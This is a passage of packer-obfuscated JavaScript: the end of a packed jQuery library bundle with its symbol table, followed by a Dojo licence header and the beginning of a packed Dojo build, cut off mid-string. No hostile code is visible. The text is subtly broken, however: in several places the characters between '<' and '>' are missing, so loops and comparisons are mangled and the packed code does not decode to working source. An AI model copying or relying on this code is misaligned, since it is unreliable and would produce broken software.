e=U.2V,b=U.1G;c.64=c.63+(e&&e.2R||b.2R||0);c.7E=c.7D+(e&&e.2B||b.2B||0)}9(!c.3Y&&(c.61||c.60))c.3Y=c.61||c.60;9(!c.5F&&c.5D)c.5F=c.5D;9(!c.3Y&&c.2r)c.3Y=(c.2r&1?1:(c.2r&2?3:(c.2r&4?2:0)));I c}};E.1b.1k({3W:G(c,a,b){I c=="5Y"?6.2G(c,a,b):6.N(G(){E.1j.1f(6,c,b||a,b&&a)})},2G:G(d,b,c){I 6.N(G(){E.1j.1f(6,d,G(a){E(6).5X(a);I(c||b).16(6,1q)},c&&b)})},5X:G(a,b){I 6.N(G(){E.1j.28(6,a,b)})},1F:G(c,a,b){I 6.N(G(){E.1j.1F(c,a,6,Q,b)})},7x:G(c,a,b){9(6[0])I E.1j.1F(c,a,6[0],P,b)},25:G(){H a=1q;I 6.4L(G(e){6.4H=0==6.4H?1:0;e.2M();I a[6.4H].16(6,[e])||P})},7v:G(f,g){G 4G(e){H p=e.4K;1W(p&&p!=6)2a{p=p.12}29(e){p=6};9(p==6)I P;I(e.O=="4x"?f:g).16(6,[e])}I 6.4x(4G).5U(4G)},2d:G(f){5T();9(E.3T)f.16(U,[E]);J E.3l.1a(G(){I f.16(6,[E])});I 6}});E.1k({3T:P,3l:[],2d:G(){9(!E.3T){E.3T=Q;9(E.3l){E.N(E.3l,G(){6.16(U)});E.3l=S}9(E.V.35||E.V.34)U.4P("5S",E.2d,P);9(!18.7t.K)E(18).39(G(){E("#4E").28()})}}});E.N(("7s,7r,39,7q,6n,5Y,4L,7p,"+"7n,7m,7l,4x,5U,7k,24,"+"51,7j,7i,7h,3U").2l(","),G(i,o){E.1b[o]=G(f){I f?6.3W(o,f):6.1F(o)}});H x=P;G 5T(){9(x)I;x=Q;9(E.V.35||E.V.34)U.4S("5S",E.2d,P);J 9(E.V.1h){U.7f("<7d"+"7y 22=4E 7z=Q "+"3k=//:><\\/1J>");H a=U.3S("4E");9(a)a.62=G(){9(6.2C!="1l")I;E.2d()};a=S}J 9(E.V.1N)E.4B=4j(G(){9(U.2C=="5Q"||U.2C=="1l"){4A(E.4B);E.4B=S;E.2d()}},10);E.1j.1f(18,"39",E.2d)}E.1b.1k({39:G(g,d,c){9(E.1n(g))I 6.3W("39",g);H e=g.1g(" ");9(e>=0){H i=g.2J(e,g.K);g=g.2J(0,e)}c=c||G(){};H f="4z";9(d)9(E.1n(d)){c=d;d=S}J{d=E.3a(d);f="5P"}H h=6;E.3G({1d:g,O:f,M:d,1l:G(a,b){9(b=="1C"||b=="5O")h.4o(i?E("<1s/>").3g(a.40.1p(/<1J(.|\\s)*?\\/1J>/g,"")).1Y(i):a.40);56(G(){h.N(c,[a.40,b,a])},13)}});I 6},7a:G(){I E.3a(6.5M())},5M:G(){I 6.1X(G(){I E.11(6,"2Y")?E.2h(6.79):6}).1E(G(){I 6.2H&&!6.3c&&(6.2Q||/24|6b/i.14(6.11)||/2g|1P|52/i.14(6.O))}).1X(G(i,c){H b=E(6).3i();I b==S?S:b.1c==1B?E.1X(b,G(a,i){I{2H:c.2H,1Q:a}}):{2H:c.2H,1Q:b}}).21()}});E.N("5L,5K,6t,5J,5I,5H".2l(","),G(i,o){E.1b[o]=G(f){I 6.3W(o,f)}});H B=(1u 3D).3B();E.1k({21:G(d,b,a,c){9(E.1n(b)){a=b;b=S}I E.3G({O:"4z",1d:d,M:b,1C:a,1V:c})},78:G(b,a){I E.21(b,S,a,"1J")},77:G(c,b,a){I E.21(c,b,a,"45")},76:G(d,b,a,c){9(E.1n(b)){a=b;b={}}I E.3G({O:"5P",1d:d,M:b,1C:a,1V:c})},75:G(a){E.1k(E.59,a)},59:{1Z:Q,O:"4z",2z:0,5G:"74/x-73-2Y-72",6o:Q,3e:Q,M:S},49:{},3G:G(s){H f,2y=/=(\\?|%3F)/g,1v,M;s=E.1k(Q,s,E.1k(Q,{},E.59,s));9(s.M&&s.6o&&1m s.M!="1M")s.M=E.3a(s.M);9(s.1V=="4b"){9(s.O.2p()=="21"){9(!s.1d.1t(2y))s.1d+=(s.1d.1t(/\\?/)?"&":"?")+(s.4b||"5E")+"=?"}J 9(!s.M||!s.M.1t(2y))s.M=(s.M?s.M+"&":"")+(s.4b||"5E")+"=?";s.1V="45"}9(s.1V=="45"&&(s.M&&s.M.1t(2y)||s.1d.1t(2y))){f="4b"+B++;9(s.M)s.M=s.M.1p(2y,"="+f);s.1d=s.1d.1p(2y,"="+f);s.1V="1J";18[f]=G(a){M=a;1C();1l();18[f]=W;2a{2E 18[f]}29(e){}}}9(s.1V=="1J"&&s.1L==S)s.1L=P;9(s.1L===P&&s.O.2p()=="21")s.1d+=(s.1d.1t(/\\?/)?"&":"?")+"57="+(1u 3D()).3B();9(s.M&&s.O.2p()=="21"){s.1d+=(s.1d.1t(/\\?/)?"&":"?")+s.M;s.M=S}9(s.1Z&&!E.5b++)E.1j.1F("5L");9(!s.1d.1g("8g")&&s.1V=="1J"){H h=U.4l("9U")[0];H g=U.5B("1J");g.3k=s.1d;9(!f&&(s.1C||s.1l)){H j=P;g.9R=g.62=G(){9(!j&&(!6.2C||6.2C=="5Q"||6.2C=="1l")){j=Q;1C();1l();h.3b(g)}}}h.58(g);I}H k=P;H i=18.6X?1u 6X("9P.9O"):1u 6W();i.9M(s.O,s.1d,s.3e);9(s.M)i.5C("9J-9I",s.5G);9(s.5y)i.5C("9H-5x-9F",E.49[s.1d]||"9D, 9C 9B 9A 5v:5v:5v 9z");i.5C("X-9x-9v","6W");9(s.6U)s.6U(i);9(s.1Z)E.1j.1F("5H",[i,s]);H c=G(a){9(!k&&i&&(i.2C==4||a=="2z")){k=Q;9(d){4A(d);d=S}1v=a=="2z"&&"2z"||!E.6S(i)&&"3U"||s.5y&&E.6R(i,s.1d)&&"5O"||"1C";9(1v=="1C"){2a{M=E.6Q(i,s.1V)}29(e){1v="5k"}}9(1v=="1C"){H b;2a{b=i.5s("6P-5x")}29(e){}9(s.5y&&b)E.49[s.1d]=b;9(!f)1C()}J E.5r(s,i,1v);1l();9(s.3e)i=S}};9(s.3e){H d=4j(c,13);9(s.2z>0)56(G(){9(i){i.9q();9(!k)c("2z")}},s.2z)}2a{i.9o(s.M)}29(e){E.5r(s,i,S,e)}9(!s.3e)c();I i;G 1C(){9(s.1C)s.1C(M,1v);9(s.1Z)E.1j.1F("5I",[i,s])}G 1l(){9(s.1l)s.1l(i,1v);9(s.1Z)E.1j.1F("6t",[i,s]);9(s.1Z&&!--E.5b)E.1j.1F("5K")}},5r:G(s,a,b,e){9(s.3U)s.3U(a,b,e);9(s.1Z)E.1j.1F("5J",[a,s,e])},5b:0,6S:G(r){2a{I!r.1v&&9n.9l=="54:"||(r.1v>=6N&&r.1v<9j)||r.1v==6M||E.V.1N&&r.1v==W}29(e){}I P},6R:G(a,c){2a{H b=a.5s("6P-5x");I a.1v==6M||b==E.49[c]||E.V.1N&&a.1v==W}29(e){}I P},6Q:G(r,b){H c=r.5s("9i-O");H d=b=="6K"||!b&&c&&c.1g("6K")>=0;H a=d?r.9g:r.40;9(d&&a.2V.37=="5k")6G"5k";9(b=="1J")E.5f(a);9(b=="45")a=3w("("+a+")");I a},3a:G(a){H s=[];9(a.1c==1B||a.4c)E.N(a,G(){s.1a(3f(6.2H)+"="+3f(6.1Q))});J L(H j 1i a)9(a[j]&&a[j].1c==1B)E.N(a[j],G(){s.1a(3f(j)+"="+3f(6))});J s.1a(3f(j)+"="+3f(a[j]));I s.66("&").1p(/%20/g,"+")}});E.1b.1k({1A:G(b,a){I b?6.1U({1H:"1A",2N:"1A",1r:"1A"},b,a):6.1E(":1P").N(G(){6.R.19=6.3h?6.3h:"";9(E.17(6,"19")=="2s")6.R.19="2Z"}).2D()},1z:G(b,a){I b?6.1U({1H:"1z",2N:"1z",1r:"1z"},b,a):6.1E(":3R").N(G(){6.3h=6.3h||E.17(6,"19");9(6.3h=="2s")6.3h="2Z";6.R.19="2s"}).2D()},6J:E.1b.25,25:G(a,b){I E.1n(a)&&E.1n(b)?6.6J(a,b):a?6.1U({1H:"25",2N:"25",1r:"25"},a,b):6.N(G(){E(6)[E(6).3t(":1P")?"1A":"1z"]()})},9c:G(b,a){I 6.1U({1H:"1A"},b,a)},9b:G(b,a){I 6.1U({1H:"1z"},b,a)},99:G(b,a){I 6.1U({1H:"25"},b,a)},98:G(b,a){I 6.1U({1r:"1A"},b,a)},96:G(b,a){I 6.1U({1r:"1z"},b,a)},95:G(c,a,b){I 6.1U({1r:a},c,b)},1U:G(k,i,h,g){H j=E.6D(i,h,g);I 6[j.3L===P?"N":"3L"](G(){j=E.1k({},j);H f=E(6).3t(":1P"),3y=6;L(H p 1i k){9(k[p]=="1z"&&f||k[p]=="1A"&&!f)I E.1n(j.1l)&&j.1l.16(6);9(p=="1H"||p=="2N"){j.19=E.17(6,"19");j.2U=6.R.2U}}9(j.2U!=S)6.R.2U="1P";j.3M=E.1k({},k);E.N(k,G(c,a){H e=1u E.2j(3y,j,c);9(/25|1A|1z/.14(a))e[a=="25"?f?"1A":"1z":a](k);J{H b=a.3s().1t(/^([+-]=)?([\\d+-.]+)(.*)$/),1O=e.2b(Q)||0;9(b){H d=3I(b[2]),2i=b[3]||"2T";9(2i!="2T"){3y.R[c]=(d||1)+2i;1O=((d||1)/e.2b(Q))*1O;3y.R[c]=1O+2i}9(b[1])d=((b[1]=="-="?-1:1)*d)+1O;e.3N(1O,d,2i)}J e.3N(1O,a,"")}});I Q})},3L:G(a,b){9(E.1n(a)){b=a;a="2j"}9(!a||(1m a=="1M"&&!b))I A(6[0],a);I 6.N(G(){9(b.1c==1B)A(6,a,b);J{A(6,a).1a(b);9(A(6,a).K==1)b.16(6)}})},9f:G(){H a=E.32;I 6.N(G(){L(H i=0;i-8O?r:3I(E.17(6.T,6.1e))||0},3N:G(c,b,e){6.5u=(1u 3D()).3B();6.1O=c;6.2D=b;6.2i=e||6.2i||"2T";6.2v=6.1O;6.4q=6.4i=0;6.4r();H f=6;G t(){I f.2F()}t.T=6.T;E.32.1a(t);9(E.32.K==1){H d=4j(G(){H a=E.32;L(H i=0;i6.Y.2e+6.5u){6.2v=6.2D;6.4q=6.4i=1;6.4r();6.Y.3M[6.1e]=Q;H a=Q;L(H i 1i 6.Y.3M)9(6.Y.3M[i]!==Q)a=P;9(a){9(6.Y.19!=S){6.T.R.2U=6.Y.2U;6.T.R.19=6.Y.19;9(E.17(6.T,"19")=="2s")6.T.R.19="2Z"}9(6.Y.1z)6.T.R.19="2s";9(6.Y.1z||6.Y.1A)L(H p 1i 6.Y.3M)E.1x(6.T.R,p,6.Y.3P[p])}9(a&&E.1n(6.Y.1l))6.Y.1l.16(6.T);I P}J{H n=t-6.5u;6.4i=n/6.Y.2e;6.4q=E.3J[6.Y.3J||(E.3J.5q?"5q":"6B")](6.4i,n,0,1,6.Y.2e);6.2v=6.1O+((6.2D-6.1O)*6.4q);6.4r()}I Q}};E.2j.2F={2R:G(a){a.T.2R=a.2v},2B:G(a){a.T.2B=a.2v},1r:G(a){E.1x(a.T.R,"1r",a.2v)},6z:G(a){a.T.R[a.1e]=a.2v+a.2i}};E.1b.6m=G(){H c=0,3E=0,T=6[0],5t;9(T)8L(E.V){H b=E.17(T,"2X")=="4F",1D=T.12,23=T.23,2K=T.3H,4f=1N&&3x(4s)<8J;9(T.6V){5w=T.6V();1f(5w.1S+38.33(2K.2V.2R,2K.1G.2R),5w.3E+38.33(2K.2V.2B,2K.1G.2B));9(1h){H d=E("4o").17("8H");d=(d=="8G"||E.5g&&3x(4s)>=7)&&2||d;1f(-d,-d)}}J{1f(T.5l,T.5z);1W(23){1f(23.5l,23.5z);9(35&&/^t[d|h]$/i.14(1D.37)||!4f)d(23);9(4f&&!b&&E.17(23,"2X")=="4F")b=Q;23=23.23}1W(1D.37&&!/^1G|4o$/i.14(1D.37)){9(!/^8D|1I-9S.*$/i.14(E.17(1D,"19")))1f(-1D.2R,-1D.2B);9(35&&E.17(1D,"2U")!="3R")d(1D);1D=1D.12}9(4f&&b)1f(-2K.1G.5l,-2K.1G.5z)}5t={3E:3E,1S:c}}I 5t;G d(a){1f(E.17(a,"9T"),E.17(a,"8A"))}G 1f(l,t){c+=3x(l)||0;3E+=3x(t)||0}}})();', 62, 616, '||||||this|||if|||||||||||||||||||||||||||||||||function|var|return|else|length|for|data|each|type|false|true|style|null|elem|document|browser|undefined||options|||nodeName|parentNode||test|jQuery|apply|css|window|display|push|fn|constructor|url|prop|add|indexOf|msie|in|event|extend|complete|typeof|isFunction|className|replace|arguments|opacity|div|match|new|status|firstChild|attr|nodeType|hide|show|Array|success|parent|filter|trigger|body|height|table|script|tbody|cache|string|safari|start|hidden|value|merge|left|break|animate|dataType|while|map|find|global||get|id|offsetParent|select|toggle|selected|toUpperCase|remove|catch|try|cur|al|ready|duration|done|text|makeArray|unit|fx|swap|split|target||pushStack|toLowerCase|nextSibling|button|none|handle|guid|now|stack|tb|jsre|timeout|inArray|scrollTop|readyState|end|delete|step|one|name|nth|slice|doc|ret|preventDefault|width|call|events|checked|scrollLeft|exec|px|overflow|documentElement|grep|position|form|block|removeData|rl|timers|max|opera|mozilla|trim|tagName|Math|load|param|removeChild|disabled|insertBefore|async|encodeURIComponent|append|oldblock|val|childNodes|src|readyList|multiFilter|color|defaultView|stopPropagation|args|old|toString|is|last|first|eval|parseInt|self|domManip|prototype|getTime|curCSS|Date|top||ajax|ownerDocument|parseFloat|easing|has|queue|curAnim|custom|innerHTML|orig|currentStyle|visible|getElementById|isReady|error|static|bind|String|which|getComputedStyle|responseText|oWidth|oHeight|on|shift|json|child|RegExp|ol|lastModified|isXMLDoc|jsonp|jquery|previousSibling|dir|safari2|el|styleFloat|state|setInterval|radio|getElementsByTagName|tr|empty|html|getAttribute|pos|update|version|input|float|runtimeStyle|unshift|mouseover|getPropertyValue|GET|clearInterval|safariTimer|visibility|clean|__ie_init|absolute|handleHover|lastToggle|index|fromElement|relatedTarget|click|fix|evt|andSelf|removeEventListener|handler|cloneNode|addEventListener|triggered|nodeIndex|unique|Number|classFilter|prevObject|selectedIndex|after|submit|password|removeAttribute|file|expr|setTimeout|_|appendChild|ajaxSettings|client|active|win|sibling|deep|globalEval|boxModel|cssFloat|object|checkbox|parsererror|offsetLeft|wrapAll|dequeue|props|lastChild|swing|handleError|getResponseHeader|results|startTime|00|box|Modified|ifModified|offsetTop|evalScript|createElement|setRequestHeader|ctrlKey|callback|metaKey|contentType|ajaxSend|ajaxSuccess|ajaxError|ajaxStop|ajaxStart|serializeArray|init|notmodified|POST|loaded|appendTo|DOMContentLoaded|bindReady|mouseout|not|removeAttr|unbind|unload|Width|keyCode|charCode|onreadystatechange|clientX|pageX|srcElement|join|outerHTML|substr|zoom|parse|textarea|reset|image|odd|even|before|quickClass|quickID|prepend|quickChild|execScript|offset|scroll|processData|uuid|contents|continue|textContent|ajaxComplete|clone|setArray|webkit|nodeValue|fl|_default|100|linear|href|speed|eq|createTextNode|throw|replaceWith|splice|_toggle|xml|colgroup|304|200|alpha|Last|httpData|httpNotModified|httpSuccess|fieldset|beforeSend|getBoundingClientRect|XMLHttpRequest|ActiveXObject|col|br|abbr|pixelLeft|urlencoded|www|application|ajaxSetup|post|getJSON|getScript|elements|serialize|clientWidth|hasClass|scr|clientHeight|write|relative|keyup|keypress|keydown|change|mousemove|mouseup|mousedown|right|dblclick|resize|focus|blur|frames|instanceof|hover|offsetWidth|triggerHandler|ipt|defer|offsetHeight|border|padding|clientY|pageY|Left|Right|toElement|Bottom|Top|cancelBubble|returnValue|detachEvent|attachEvent|substring|line|weight|animated|header|font|enabled|innerText|contains|only|size|gt|lt|uFFFF|u0128|417|inner|Height|toggleClass|removeClass|addClass|replaceAll|noConflict|insertAfter|prependTo|wrap|contentWindow|contentDocument|http|iframe|children|siblings|prevAll|nextAll|wrapInner|prev|Boolean|next|parents|maxLength|maxlength|readOnly|readonly|class|htmlFor|CSS1Compat|compatMode|compatible|borderTopWidth|ie|ra|inline|it|rv|medium|borderWidth|userAgent|522|navigator|with|concat|1px|10000|array|ig|PI|NaN|400|reverse|fast|600|slow|Function|Object|setAttribute|changed|be|can|property|fadeTo|fadeOut|getAttributeNode|fadeIn|slideToggle|method|slideUp|slideDown|action|cssText|stop|responseXML|option|content|300|th|protocol|td|location|send|cap|abort|colg|cos|tfoot|thead|With|leg|Requested|opt|GMT|1970|Jan|01|Thu|area|Since|hr|If|Type|Content|meta|specified|open|link|XMLHTTP|Microsoft|img|onload|row|borderLeftWidth|head|attributes'.split('|'), 0, {}); /* Copyright (c) 2004-2007, The Dojo Foundation All Rights Reserved. Licensed under the Academic Free License version 2.1 or above OR the modified BSD license. For more information on Dojo licensing, see: http://dojotoolkit.org/community/licensing.shtml */ /* This is a compiled version of Dojo, built for deployment and not for development. To get an editable version, please visit: http://dojotoolkit.org for documentation and information on getting the source. */ var decompressedDojo = function (p, a, c, k, e, d) { e = function (c) { return (c < a ? "" : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { /* BEGIN LOOP */ while (c--) d[e(c)] = k[c] || e(c); /* END LOOP */ k = [function (e) { return d[e] }]; e = function () { return '\\w+' }; c = 1 }; /* BEGIN LOOP */ while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); /* END LOOP */ return p }('if(V z=="1k"){(B(){if(V D["1o"]=="1k"){D.1o={}}if((!D["1z"])||(!1z["ca"])){D.1z={}}A cn=["rA","rz","1K","ry","rx","9f","rw","rv","ru","rt","rs","rr","rq","ro","rn","rm"];A i=0,24;1s(24=cn[i++]){if(!1z[24]){1z[24]=B(){}}}if(V D["z"]=="1k"){D.z={}}z.1W=D;A d3={im:U,rl:U,rk:"",rj:"",ri:"",rh:K,rg:U};R(A 8z in d3){if(V 1o[8z]=="1k"){1o[8z]=d3[8z]}}A jK=["rf","rd","rc","rb"];A t;1s(t=jK.3a()){z["is"+t]=U}})();z.8h=1o.8h;z.cY={jJ:0,jI:9,jH:0,jG:"",jF:2V("$ra: r9 $".1f(/[0-9]+/)[0]),2i:B(){4G(z.cY){C jJ+"."+jI+"."+jH+jG+" ("+jF+")"}}};z.d1=B(jE,jD,1V){A 2h=1V||z.1W;R(A i=0,p;2h&&(p=jE[i]);i++){2h=(p in 2h?2h[p]:(jD?2h[p]={}:1k))}C 2h};z.88=B(jC,jA,jB){A d2=jC.1A("."),p=d2.8q(),M=z.d1(d2,K,jB);C(M&&p?(M[p]=jA):1k)};z.6q=B(jz,jy,jx){C z.d1(jz.1A("."),jy,jx)};z.r8=B(jw,M){C!!z.6q(jw,U,M)};z["3u"]=B(d0){C z.1W.3u?z.1W.3u(d0):3u(d0)};z.ia=B(jv,cZ,cX){A 8y="r7: "+jv;if(cZ){8y+=" "+cZ}if(cX){8y+=" -- r6 be r5 in cY: "+cX}1z.1K(8y)};z.r4=B(ju,cW){A cV="r3: "+ju+" -- r2 r1 4F r0 qZ qY.";if(cW){cV+=" "+cW}1z.1K(cV)};(B(){A cR={53:{},6p:0,1h:{},8k:{z:{1p:"z",1Z:"."},cU:{1p:"cU",1Z:"../qX/cU"},cT:{1p:"cT",1Z:"cT"}},cN:B(cS){A mp=D.8k;C jp(mp[cS]&&mp[cS].1Z)},jk:B(8x){A mp=D.8k;if(D.cN(8x)){C mp[8x].1Z}C 8x},8v:[],6t:U,56:[],8t:[],8u:U};R(A cQ in cR){z[cQ]=cR[cQ]}})();z.jg=B(8w,cP,cb){A 1g=(((8w.2s(0)=="/"||8w.1f(/^\\w+:/)))?"":D.51)+8w;if(1o.jt&&z.c8){1g+="?"+67(1o.jt).2f(/\\W+/g,"")}1u{C!cP?D.cO(1g,cb):D.jq(1g,cP,cb)}1y(e){1z.1K(e);C U}};z.cO=B(1g,cb){if(D.8v[1g]){C K}A 6u=D.iR(1g,K);if(!6u){C U}D.8v[1g]=K;D.8v.Y(1g);if(cb){6u="("+6u+")"}A jr=z["3u"](6u+"\\r\\n//@ qW="+1g);if(cb){cb(jr)}C K};z.jq=B(1g,jo,cb){A ok=U;1u{ok=D.cO(1g,cb)}1y(e){1z.1K("qV je ",1g," 4G 9f: ",e)}C jp(ok&&D.53[jo])};z.6m=B(){D.8u=K;D.6t=K;A 57=D.56;D.56=[];R(A x=0;x<57.G;x++){57[x]()}D.8u=U;if(z.6t&&z.6p==0&&D.56.G>0){z.8s()}};z.ck=B(){A 57=D.8t;1s(57.G){(57.8q())()}};z.qU=B(M,jn){A d=z;if(P.G==1){d.56.Y(M)}I{if(P.G>1){d.56.Y(B(){M[jn]()})}}if(d.6t&&d.6p==0&&!d.8u){d.8s()}};z.dW=B(M,jm){A d=z;if(P.G==1){d.8t.Y(M)}I{if(P.G>1){d.8t.Y(B(){M[jm]()})}}};z.iM=B(){if(D.6t){C}if(D.6p>0){1z.1K("qT qS in qR!");C}z.8s()};z.8s=B(){if(V 5c=="8b"||(1o["qQ"]&&z.2M)){5c("z.6m();",0)}I{z.6m()}};z.cF=B(jl){A 4v=jl.1A(".");R(A i=4v.G;i>0;i--){A 8r=4v.2w(0,i).22(".");if((i==1)&&!D.cN(8r)){4v[0]="../"+4v[0]}I{A cM=D.jk(8r);if(cM!=8r){4v.3S(0,i,cM);3f}}}C 4v};z.jj=U;z.8m=B(2T,qP,55){55=D.jj||55;A 54=D.53[2T];if(54){C 54}A cL=2T.1A(".");A 3L=D.cF(2T);A jh=((3L[0].2s(0)!="/")&&!3L[0].1f(/^\\w+:/));A ji=3L[3L.G-1];A 3m;if(ji=="*"){2T=cL.2w(0,-1).22(".");3L.8q();3m=3L.22("/")+"/"+(1o["qO"]||"qN")+".js";if(jh&&3m.2s(0)=="/"){3m=3m.2w(1)}}I{3m=3L.22("/")+".js";2T=cL.22(".")}A jf=(!55)?2T:L;A ok=D.jg(3m,jf);if((!ok)&&(!55)){2m S 1O("qM 3O 4E \'"+2T+"\'; 72 qL \'"+3m+"\'")}if((!55)&&(!D["qK"])){54=D.53[2T];if(!54){2m S 1O("qJ \'"+2T+"\' is 3O qI a8 je \'"+3m+"\'")}}C 54};z.8c=z.8m;z.1Q=B(cK){A cJ=cK+"";A 8p=cJ;A 6s=cK.1A(/\\./);if(6s[6s.G-1]=="*"){6s.8q();8p=6s.22(".")}A 8o=z.6q(8p,K);D.53[cJ]=8o;D.53[8p]=8o;C 8o};z.qH=B(8n){A jd=8n["qG"]||[];A cI=jd.3U(8n[z.j4]||8n["aY"]||[]);R(A x=0;x0&&!(j==1&&1X[0]=="")&&1X[j]==".."&&1X[j-1]!=".."){if(j==(1X.G-1)){1X.3S(j,1);1X[j-1]=""}I{1X.3S(j-1,2);j-=2}}}}1t.28=1X.22("/")}}}}1g="";if(1t.4t){1g+=1t.4t+":"}if(1t.3l){1g+="//"+1t.3l}1g+=1t.28;if(1t.1r){1g+="?"+1t.1r}if(1t.52){1g+="#"+1t.52}}D.1g=1g.2i();A r=D.1g.1f(j7);D.4t=r[2]||(r[1]?"":n);D.3l=r[4]||(r[3]?"":n);D.28=r[5];D.1r=r[7]||(r[6]?"":n);D.52=r[9]||(r[8]?"":n);if(D.3l!=n){r=D.3l.1f(j6);D.8X=r[3]||n;D.8W=r[4]||n;D.qw=r[5];D.qv=r[7]||n}};z.4r.1C.2i=B(){C D.1g}})();z.qu=B(j5,2E){A 2B=z.cF(j5).22("/");if(!2B){C L}if(2B.31("/")!=2B.G-1){2B+="/"}A cE=2B.T(":");if(2B.2s(0)!="/"&&(cE==-1||cE>2B.T("/"))){2B=z.51+2B}C S z.4r(2B,2E)};if(V 26!="1k"){z.c8=K;z.j4="qt";(B(){A d=z;if(1q&&1q.4I){A 8j=1q.4I("ak");A j3=/z(\\.qs)?\\.js([\\?\\.]|$)/i;R(A i=0;i<8j.G;i++){A 4X=8j[i].5t("4X");if(!4X){6c}A m=4X.1f(j3);if(m){if(!1o["51"]){1o["51"]=4X.21(0,m.hK)}A cD=8j[i].5t("1o");if(cD){A cC=3u("({ "+cD+" })");R(A x in cC){1o[x]=cC[x]}}3f}}}d.51=1o["51"];A n=cq;A 8i=n.iL;A 4Z=n.qr;A 6r=2k(4Z);d.2M=(8i.T("qq")>=0)?6r:0;d.6B=(4Z.T("qo")>=0)||(4Z.T("j2")>=0)?6r:0;d.3o=(4Z.T("j2")>=0)?6r:0;A j1=8i.T("qn");d.gu=d.7B=((j1>=0)&&(!d.6B))?6r:0;d.j0=0;d.1l=0;d.iV=0;1u{if(d.7B){d.j0=2k(8i.1A("qm/")[1].1A(" ")[0])}if((1q.gx)&&(!d.2M)){d.1l=2k(4Z.1A("qk ")[1].1A(";")[0])}}1y(e){}if(z.1l&&(26.8f.cu==="9q:")){1o.iT=K}d.iX=B(){A 2A;A qj;A cB=d.6q("cz.cy");if(cB){C cB}if(V iZ!="1k"){2A=S iZ()}I{if(d.1l){1u{2A=S 9j("qi.qh")}1y(e){}}I{if(cq.qg["8Z/x-iY"]){2A=1q.a9("8b");2A.cA("Z","8Z/x-iY");2A.cA("3n",0);2A.cA("58",0);2A.1c.gq="7C";1q.5K.4c(2A)}}}if(!2A){C L}z.88("cz.cy.qf",2A);C z.6q("cz.cy")};A iW=d.iX();if(iW){d.iV=K}A cm=1q["aX"];d.qe=(cm=="aW")||(cm=="gr")||(d.1l<6);d.8h=1o.8h||(d.1l?n.qd:n.qc).1M();d.qb=1z.1K;d.cx=["iU.8g","em.8g","iU.8g.4.0"];d.9b=B(){A 4s=L;A cv=L;if(!z.1l||!1o.iT){1u{4s=S qa()}1y(e){}}if(!4s){R(A i=0;i<3;++i){A cw=z.cx[i];1u{4s=S 9j(cw)}1y(e){cv=e}if(4s){z.cx=[cw];3f}}}if(!4s){2m S 1O("8g 3O q9: "+cv)}C 4s};d.8Y=B(iS){A 4Y=iS.3N||0;C((4Y>=q8)&&(4Y0);d.iR=B(1g,iP){A 3K=D.9b();if(!iQ&&z.4r){1g=(S z.4r(26.8f,1g)).2i()}3K.dL("dD",1g,U);1u{3K.dI(L);if(!d.8Y(3K)){A 1G=1O("q2 4F 4E "+1g+" 3N:"+3K.3N);1G.3N=3K.3N;1G.2G=3K.2G;2m 1G}}1y(e){if(iP){C L}2m e}C 3K.2G}})();z.iO=U;z.6o=B(e){z.iO=K;A cr=(e&&e.Z)?e.Z.1M():"4E";if(P.2O.iN||(cr!="q1"&&cr!="4E")){C}P.2O.iN=K;if(V z["8e"]!="1k"){dX(z.8e);63 z.8e}if(z.6p==0){z.iM()}};if(1q.66){if(z.2M||(z.7B&&(1o["q0"]===K))){1q.66("pZ",z.6o,L)}26.66("4E",z.6o,L)}if(/(pY|pX)/i.6Z(cq.iL)){z.8e=dN(B(){if(/6m|iJ/.6Z(1q.6F)){z.6o()}},10)}(B(){A 3g=26;A 8d=B(cp,fp){A iK=3g[cp]||B(){};3g[cp]=B(){fp.14(3g,P);iK.14(3g,P)}};if(z.1l){1q.fJ(""+"");A co=K;8d("iG",B(){3g.5c(B(){co=U},0)});8d("pU",B(){if(co){z.ck()}});1u{1q.pT.2P("v","pS:pR-pQ-pP:pO");1q.pN().pM("v\\\\:*","pL:2E(#aY#pK)")}1y(e){}}I{8d("iG",B(){z.ck()})}})();z.pJ=B(){};z.1e=26["1q"]||L;z.3E=B(){C z.1e.3E||z.1e.4I("3E")[0]};z.ch=B(iF,iE){z.1W=iF;z.1e=iE};z.cf=B(4q,6n,iD){if((6n)&&((V 4q=="3c")||(4q 1N 67))){4q=6n[4q]}C(6n?4q.14(6n,iD||[]):4q())};z.pI=B(cj,iC,iB,iA){A cg;A iz=z.1W;A iy=z.1e;1u{z.ch(cj,cj.1q);cg=z.cf(iC,iB,iA)}ir{z.ch(iz,iy)}C cg};z.pH=B(ix,iw,iv,iu){A ce;A ip=z.1e;1u{z.1e=ix;ce=z.cf(iw,iv,iu)}ir{z.1e=ip}C ce};if(1o["cd"]){R(A cc in 1o["cd"]){z.io(cc,1o["cd"][cc])}}}if(1o.im){if(!1z.ca){z.8c("z.pG.ca")}}}if(!z.1h["z.X.c9"]){z.1h["z.X.c9"]=K;z.1Q("z.X.c9");z.1R=B(it){C(V it=="3c"||it 1N 67)};z.2l=B(it){C(it&&it 1N 4e||V it=="6a"||((V z["1H"]!="1k")&&(it 1N z.1H)))};if(z.c8&&z.3o){z.1Y=B(it){if((V(it)=="B")&&(it=="[8b 1H]")){C U}C(V it=="B"||it 1N bI)}}I{z.1Y=B(it){C(V it=="B"||it 1N bI)}}z.ib=B(it){if(V it=="1k"){C U}C(it===L||V it=="8b"||z.2l(it)||z.1Y(it))};z.pF=B(it){A d=z;if((!it)||(V it=="1k")){C U}if(d.1R(it)){C U}if(d.1Y(it)){C U}if(d.2l(it)){C K}if((it.5w)&&(it.5w.1M()=="3R")){C U}if(pE(it.G)){C K}C U};z.pD=B(it){if(!it){C U}C!z.1Y(it)&&/\\{\\s*\\[il 5h\\]\\s*\\}/.6Z(67(it))};z.c7=B(M,4W){A 8a={};R(A x in 4W){if((V 8a[x]=="1k")||(8a[x]!=4W[x])){M[x]=4W[x]}}if(z.1l){A p=4W.2i;if((V(p)=="B")&&(p!=M.2i)&&(p!=8a.2i)&&(p!="\\pC 2i() {\\n [il 5h]\\n}\\n")){M.2i=4W.2i}}C M};z.1x=B(M,pB){R(A i=1,l=P.G;i2){C z.ig.14(z,P)}if(!3k){3k=2z;2z=L}if(z.1R(3k)){2z=2z||z.1W;if(!2z[3k]){2m(["z.2p: ie[\\"",3k,"\\"] is L (ie=\\"",2z,"\\")"].22(""))}C B(){C 2z[3k].14(2z,P||[])}}I{C(!2z?3k:B(){C 